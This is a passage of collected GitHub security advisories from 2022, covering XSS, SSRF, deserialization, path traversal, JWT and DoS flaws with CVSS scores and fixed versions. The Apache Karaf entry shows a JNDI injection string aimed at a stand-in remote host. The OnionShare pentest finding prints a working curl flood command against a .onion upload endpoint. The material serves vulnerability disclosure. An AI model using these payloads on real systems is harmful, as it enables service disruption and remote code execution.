score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability was found in kapetan dns up to 6.1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file DNS/Protocol/Request.cs. The manipulation leads to insufficient entropy in prng. The attack may be launched remotely. Upgrading to version 7.0.0 can address this issue. The name of the patch is cf7105aa2aae90d6656088fe5a8ee1d5730773b6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216188.
usememos/memos vulnerable to stored Cross-site Scripting
Advisory: GHSA-rmhx-9h5h-3xh3
Aliases: CVE-2022-4841
Published: 2022-12-29T18:30:24Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.9.1.
Improper Privilege Management in rdiffweb
Advisory: GHSA-g594-55mp-f6q8
Aliases: CVE-2022-4314
Published: 2022-12-12T18:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Unauthorized access to settings update, logs , history, delete etc in GitHub repository ikus060/rdiffweb prior to 2.5.2.
Apache Tapestry allows deserialization of untrusted data
Advisory: GHSA-vc39-x7w6-6vj7
Aliases: CVE-2022-46366
Published: 2022-12-02T15:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

** UNSUPPORTED WHEN ASSIGNED ** Apache Tapestry 3.x allows deserialization of untrusted data, leading to remote code execution. This issue is similar to but distinct from CVE-2020-17531, which applies the the (also unsupported) 4.x version line. 

NOTE: This vulnerability only affects Apache Tapestry version line 3.x, which is no longer supported by the maintainer. Users are recommended to upgrade to a supported version line of Apache Tapestry.
AWS SDK is vulnerable to server-side request forgery (SSRF) 
Advisory: GHSA-f5h9-qx38-2hgp
Aliases: CVE-2022-4725
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability was found in AWS SDK 2.59.0. It has been rated as critical. This issue affects the function XpathUtils of the file aws-android-sdk-core/src/main/java/com/amazonaws/util/XpathUtils.java of the component XML Parser. The manipulation leads to server-side request forgery. Upgrading to version 2.59.1 can address this issue. The name of the patch is c3e6d69422e1f0c80fe53f2d757b8df97619af2b. It is recommended to upgrade the affected component. The identifier VDB-216737 was assigned to this vulnerability.
rdiffweb Open Redirect vulnerability
Advisory: GHSA-639f-hxcv-84mc
Aliases: CVE-2022-4644
Published: 2022-12-22T03:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

rdiffweb prior to version 2.5.4 has an Open Redirect vulnerability.
pyRdfa3 Cross-site Scripting vulnerability
Advisory: GHSA-894q-wpg5-mf2h
Aliases: CVE-2022-4396
Published: 2022-12-10T12:30:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

A vulnerability was found in RDFlib pyrdfa3 and classified as problematic. This issue affects the function _get_option of the file pyRdfa/__init__.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. The name of the patch is ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e. It is recommended to apply a patch to fix this issue. The identifier VDB-215249 was assigned to this vulnerability. 

NOTE: RDFlib is no longer being developed and is looking for a new maintainer  
https://github.com/RDFLib/pyrdfa3/issues/38
Apache Karaf vulnerable to potential code injection
Advisory: GHSA-c2p4-8mvv-rwmv
Aliases: CVE-2022-40145
Published: 2022-12-21T18:30:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
TERASOLUNA Server Framework vulnerable to ClassLoader manipulation
Advisory: GHSA-q5j9-f95w-f4pr
Aliases: CVE-2022-43484
Published: 2022-12-05T06:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

TERASOLUNA Global Framework 1.0.0 (Public review version) and TERASOLUNA Server Framework for Java (Rich) 2.0.0.2 to 2.0.5.1 are vulnerable to ClassLoader manipulation due to using the old version of Spring Framework which contains the vulnerability. The vulnerability is caused by an improper input validation issue in the binding mechanism of Spring MVC. By the application processing a specially crafted file, arbitrary code may be executed with the privileges of the application. 

When using TERASOLUNA Global Framework 1.0.0 (Public review version), update to TERASOLUNA Server Framework for Java 5.7.1.SP1 (using Spring Framework 5.3.18). This vulnerability alone can be addressed by updating to TERASOLUNA Global Framework 1.0.1 (using Spring Framework 3.2.10) or later.
Graphite Web Cross-site Scripting vulnerability
Advisory: GHSA-q99p-78hp-xg5c
Aliases: CVE-2022-4729
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

A vulnerability was found in Graphite Web and classified as problematic. This issue affects some unknown processing of the component Template Name Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 2f178f490e10efc03cd1d27c72f64ecab224eb23. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216743.
p4 vulnerable to Command Injection due to improper input sanitization
Advisory: GHSA-jfm8-hwhg-r6gg
Aliases: CVE-2022-25171
Published: 2022-12-20T06:30:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

The package p4 before 0.0.7 is vulnerable to Command Injection via the run() function due to improper input sanitization
Goa vulnerable to path traversal
Advisory: GHSA-fjgq-224f-fq37
Aliases: CVE-2019-25073
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Improper path santiziation in github.com/goadesign/goa before v3.0.9, v2.0.10, or v1.4.3 allow remote attackers to read files outside of the intended directory
openssl-src subject to DoS by double-checked locking
Advisory: GHSA-vr8j-hgmm-jh9r
Aliases: CVE-2022-3996
Published: 2022-12-13T18:30:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows) this results in a denial of service when the affected process hangs. Policy processing being enabled on a publicly facing server is not considered to be a common setup. Policy processing is enabled by passing the `-policy' argument to the command line utilities or by calling either `X509_VERIFY_PARAM_add0_policy()' or `X509_VERIFY_PARAM_set1_policies()' functions.
jsonwebtoken's insecure implementation of key retrieval function could lead to Forgeable Public/Private Tokens from RSA to HMAC
Advisory: GHSA-hjrf-2m68-5959
Aliases: CVE-2022-23541
Published: 2022-12-22T03:33:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

# Overview

Versions `<=8.5.1` of `jsonwebtoken` library can be misconfigured so that passing a poorly implemented key retrieval function (referring to the `secretOrPublicKey` argument from the [readme link](https://github.com/auth0/node-jsonwebtoken#jwtverifytoken-secretorpublickey-options-callback)) will result in incorrect verification of tokens. There is a possibility of using a different algorithm and key combination in verification  than the one that was used to sign the tokens. Specifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm. This can lead to successful validation of forged tokens. 

# Am I affected?

You will be affected if your application is supporting usage of both symmetric key and asymmetric key in jwt.verify() implementation with the same key retrieval function. 

# How do I fix it?
 
Update to version 9.0.0.

# Will the fix impact my users?

There is no impact for end users
Mingsoft MCMS Cross-site Scripting vulnerability
Advisory: GHSA-6rvv-h8g7-728w
Aliases: CVE-2022-4640
Published: 2022-12-22T00:30:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

A vulnerability has been found in Mingsoft MCMS 5.2.9 and classified as problematic. Affected by this vulnerability is the function save of the component Article Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216499.
usememos/memos vulnerable to stored Cross-site Scripting
Advisory: GHSA-v92p-phmp-xffr
Aliases: CVE-2022-4694
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.9.0.
LZ4 vulnerable to Out-of-bounds Write
Advisory: GHSA-4wp2-8rm2-jgmh
Aliases: CVE-2014-125026
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

LZ4 bindings use a deprecated C API that is vulnerable to memory corruption, which could lead to arbitrary code execution if called with untrusted user input.
usememos/memos vulnerable to Improper Handling of Insufficient Permissions or Privileges
Advisory: GHSA-6whj-8g9g-5jvx
Aliases: CVE-2022-4863
Published: 2022-12-30T18:30:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Improper Handling of Insufficient Permissions or Privileges in GitHub repository usememos/memos prior to 0.9.1.
Denial of Service in Onionshare
Advisory: GHSA-jh82-c5jw-pxpc
Aliases: CVE-2022-21689
Published: 2022-01-21T23:20:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Between September 26, 2021 and October 8, 2021, [Radically Open Security](https://www.radicallyopensecurity.com/) conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's [Red Team lab](https://www.opentech.fund/labs/red-team-lab/).

- Vulnerability ID: OTF-012
- Vulnerability type: Denial of Service
- Threat level: Moderate

## Description:

The receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script.

## Technical description:

The following script uses GNU parallel and curl with around 6000 requests in parallel to send 10000 requests. A change in the `ulimit -n` configuration is required for it to work. This is sufficient to block file upload on a (public) receive instance.

```
seq 10000 | parallel --max-args 0 --jobs 6000 "curl -i -s -x socks5h://localhost:9150 -k -X $'POST' -H $'Host: csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------19182376703918074873375387042' -H $'Content-Length: 329' -H $'Connection: close' --data-binary $'-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"file[]\"; filename=\"poc.txt\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aA\x0d\x0a-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"text\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------19182376703918074873375387042--\x0d\x0a' $'http://csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion/upload-ajax'"
```

Attack duration was around 80 seconds.

Cases where over 99 requests were sent per second:

```
Every 0.1s: ls | grep...   onionvm: Tue Oct 5 12:17:00 2021
78
```

Cases where files were successfully written to disk:

```
Every 0.1s: ls | wc -w   onionvm: Tue Oct 5 12:17:00 2021
8399
```

This means that during the attack time 1601 requests of 10000 were dropped. We tried to upload multiple files in the web interface during the attack and were not successful.

The failsafe is used to prevent creating more than 100 directories per second:

https://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/web/receive_mode.py#L386-L427

The limit of 100 requests/second is significantly lower than the possible network bandwidth and greatly reduces the attack complexity for denial of service. Our test was conducted over the tor network, which showed no limitation for the required bandwidth.

## Impact:

An adversary with access to the receive mode can block file upload for others. There is no way to block this attack in public mode due to the anonymity properties of the tor network.

## Recommendation:

- Remove this limitation, or
- Derive directory name from milliseconds
DNS reply verification issue in dnslinb
Advisory: GHSA-r478-c2pc-m7gx
Aliases: CVE-2022-22846
Published: 2022-01-12T20:07:10Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

The dnslib package through 0.9.16 for Python does not verify that the ID value in a DNS reply matches an ID value in a query.
Path Traversal in convert-svg packages
Advisory: GHSA-jv7g-9g6q-cxvw
Aliases: CVE-2021-23631
Published: 2022-01-27T14:04:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

This affects all versions of package convert-svg-core; all versions of package convert-svg-to-png; all versions of package convert-svg-to-jpeg. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.
Deserialization of Untrusted Data in Apache Log4j
Advisory: GHSA-f7vh-qwp3-x37m
Aliases: CVE-2022-23307
Published: 2022-01-19T00:01:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.

Users are advised to migrate from `log4j:log4j` to `org.apache.logging.log4j:log4j` for an updated version of the library.
Cross-site Scripting in django-cms
Advisory: GHSA-hx7c-qpfq-xcrp
Aliases: CVE-2021-44649
Published: 2022-01-13T20:10:53Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Django CMS 3.7.3 does not validate the plugin_type parameter while generating error messages for an invalid plugin type, resulting in a Cross Site Scripting (XSS) vulnerability. The vulnerability allows an attacker to execute arbitrary JavaScript code in the web browser of the affected user.
Prototype Pollution in dojo
Advisory: GHSA-m8gw-hjpr-rjv7
Aliases: CVE-2021-23450
Published: 2022-01-05T15:01:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

All versions of package dojo are vulnerable to Prototype Pollution via the setObject function.